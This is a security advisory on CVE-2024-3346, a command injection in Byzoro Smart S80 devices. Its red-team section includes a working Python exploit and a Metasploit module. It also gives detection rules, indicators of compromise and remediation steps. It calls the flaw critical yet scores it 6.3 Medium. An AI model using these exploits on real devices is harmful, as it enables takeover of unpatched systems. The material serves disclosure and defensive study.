CVE-2024-3346

Executive Summary

CVE-2024-3346 is a critical OS command injection vulnerability in Byzoro Smart S80 devices (up to 20240328). The flaw resides in the /log/webmailattach.php endpoint, where the mail_file_path parameter is unsafely passed to a system command. An unauthenticated attacker can execute arbitrary OS commands remotely, leading to full device compromise. The vendor has not responded to disclosure, and no patch is available. Public exploit code exists, increasing the risk of mass exploitation.

Note: This is an embedded device vulnerability, not related to WordPress or any CMS ecosystem.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High due to public exploit, no patch, and remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the mail_file_path parameter of /log/webmailattach.php. The application likely constructs a shell command to attach a file to an email, e.g.:

mail -a /path/to/$mail_file_path ...

Without proper sanitization, an attacker can inject command separators like ;, |, or && to execute arbitrary commands. For example:

mail_file_path=/etc/passwd;id

This would execute id after the intended command.

The device runs a custom Linux-based firmware with a web server (likely BusyBox httpd or similar). The /log/webmailattach.php script is part of the device's logging/mail functionality.

Vulnerable vs. Patched Code

Vulnerable code (conceptual PHP):

<?php
$mail_file_path = $_GET['mail_file_path'];
$command = "mail -a " . $mail_file_path . " admin@example.com";
system($command);
?>

Patched code (conceptual):

<?php
$mail_file_path = $_GET['mail_file_path'];
// Whitelist allowed characters
if (preg_match('/^[a-zA-Z0-9\/._-]+$/', $mail_file_path)) {
    $command = "mail -a " . escapeshellarg($mail_file_path) . " admin@example.com";
    system($command);
} else {
    die("Invalid file path");
}
?>

No official patch exists; the above is a recommended fix.

Exploitation & Lab Setup

Red Team

Exploit (Python):

import requests

target = "http://192.168.1.1"
payload = "/etc/passwd;id"
url = f"{target}/log/webmailattach.php?mail_file_path={payload}"

try:
    r = requests.get(url, timeout=10)
    print("Response:")
    print(r.text)
except Exception as e:
    print(f"Error: {e}")

Metasploit module (conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Byzoro Smart S80 OS Command Injection',
      'Description' => 'Exploits CVE-2024-3346 via mail_file_path parameter',
      'Author'      => ['Security Researcher'],
      'References'  => [['CVE', '2024-3346']],
      'DisclosureDate' => '2024-03-28',
      'Payload'     => { 'BadChars' => "\x00" },
      'Targets'     => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'uri'    => '/log/webmailattach.php',
      'method' => 'GET',
      'vars_get' => {
        'mail_file_path' => "/etc/passwd;#{payload.encoded}"
      }
    })
  end
end

Lab Setup:

1. Download firmware from vendor (if available) or use a real device.
2. Set up a virtual network with the device at 192.168.1.1.
3. Run the exploit script.

Blue Team

Detection:

• Monitor HTTP GET requests to /log/webmailattach.php with suspicious parameters.
• Look for command injection patterns in mail_file_path (e.g., ;, |, &&, backticks).
• Alert on outbound connections from the device to unknown IPs after exploitation.

Honeypot:

• Deploy a fake Smart S80 endpoint that logs all mail_file_path values.
• Use Suricata to detect exploit attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /log/webmailattach.php with mail_file_path containing shell metacharacters.
• Outbound connections from the device to attacker-controlled IPs on common ports (22, 80, 443, 4444).

File IOCs:

• Unexpected files in /tmp/ or /var/log/ (e.g., /tmp/.exploit).
• Modified /etc/passwd or /etc/shadow.

Process IOCs:

• Unusual processes like nc, bash, python, perl running as www-data or root.

YARA Rule:

rule CVE_2024_3346_Exploit_Attempt {
    meta:
        description = "Detects HTTP requests exploiting CVE-2024-3346"
        author = "Valters IT"
        date = "2024-03-28"
    strings:
        $s1 = "/log/webmailattach.php" ascii wide nocase
        $s2 = "mail_file_path=" ascii wide nocase
        $s3 = ";" ascii
        $s4 = "|" ascii
        $s5 = "`" ascii
        $s6 = "$(" ascii
    condition:
        $s1 and $s2 and any of ($s3, $s4, $s5, $s6)
}

Detection Engineering

Sigma Rule:

title: Byzoro Smart S80 OS Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-3346 via mail_file_path parameter
author: Valters IT
date: 2024/03/28
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/log/webmailattach.php"
        cs-uri-query|contains: "mail_file_path="
    injection:
        cs-uri-query|contains:
            - ";"
            - "|"
            - "`"
            - "$("
    condition: selection and injection
falsepositives:
    - Legitimate use of semicolons in filenames (unlikely)
level: high

Suricata Rule:

alert http any any -> any any (msg:"CVE-2024-3346 Byzoro Smart S80 OS Command Injection"; flow:to_server,established; content:"/log/webmailattach.php"; http_uri; content:"mail_file_path="; http_uri; pcre:"/(;|\||`|\$\(|&&)/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Implement WAF rules to block requests containing shell metacharacters in mail_file_path.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Vendor must release a firmware update that properly sanitizes input using escapeshellarg() or whitelisting.
• If vendor is unresponsive, consider replacing the device with a supported alternative.

Workaround:

• Disable the web interface if not needed.
• Restrict access to /log/webmailattach.php via .htaccess or firewall rules.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-3346